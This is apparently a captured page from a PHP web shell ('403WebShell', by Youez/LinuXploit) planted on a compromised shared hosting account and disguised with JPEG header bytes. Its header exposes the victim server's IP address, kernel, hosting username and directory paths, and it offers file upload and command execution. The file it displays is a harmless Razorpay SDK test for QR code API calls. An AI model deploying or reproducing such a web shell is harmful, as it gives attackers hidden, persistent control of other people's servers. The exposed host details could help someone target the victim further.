����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.218.241.211
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirm.gltechlimited.com/vendor/razorpay/razorpay/tests/QrCodeTest.php
<?php

namespace Razorpay\Tests;

use Razorpay\Api\Request;

class QrCodeTest extends TestCase
{
    /**
     * Specify unique qrcode id & customer id
     * for example qr_IEjmDxjAY3iCnw & cust_IEfAt3ruD4OEzo
     */

    private $qrCodeId = "qr_IEjmDxjAY3iCnw";

    private $customerId = "cust_IEfAt3ruD4OEzo";

    public function setUp(): void
    {
        parent::setUp();
    }
    
    /**
     * Create Qr code
     */
    public function testCreateQrCode()
    {   
        $data = $this->api->qrCode->create(array("type" => "upi_qr","name" => "Store_1", "usage" => "single_use","fixed_amount" => 1,"payment_amount" => 300,"customer_id" => $this->customerId, "description" => "For Store 1","close_by" => strtotime('+3 minutes', time()),"notes" => array("purpose" => "Test UPI QR code notes")));

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(in_array('qr_code',$data->toArray()));
    }

    /**
     * Fetch all Qr code
     */
    public function testFetchAllQrCode()
    {
        $data = $this->api->plan->all();

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(is_array($data['items']));
    }

    /**
     * Fetch a Qr code
     */
    public function testFetchQrCode()
    {
        $data = $this->api->qrCode->fetch($this->qrCodeId);

        $this->assertTrue(is_array($data->toArray()));
        
    }
    
    /**
     * Fetch a Qr code for customer id
     */
    public function testFetchQrCodeByCustomerId()
    {
        $data = $this->api->qrCode->all(["customer_id" => $this->customerId ]);

        $this->assertTrue(is_array($data->toArray()));

        $this->assertTrue(is_array($data['items']));
    }

    /**
     * Fetch a Qr code for payment id
     */
    public function testFetchQrCodePaymentById()
    {
        $data = $this->api->qrCode->all();

        $this->assertTrue(is_array($data->toArray()));
        
    }

    /**
     * Close a QR Code
     */
    public function testCloseQrCode()
    {
        $qrCodeId = $this->api->qrCode->create(array("type" => "upi_qr","name" => "Store_1", "usage" => "single_use","fixed_amount" => 1,"payment_amount" => 300,"customer_id" => $this->customerId, "description" => "For Store 1","close_by" => strtotime('+3 minutes', time()), "notes" => array("purpose" => "Test UPI QR code notes")));
        
        $data = $this->api->qrCode->fetch($qrCodeId->id)->close();

        $this->assertTrue(is_array($data->toArray()));
        
        $this->assertTrue(in_array('qr_code',$data->toArray()));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit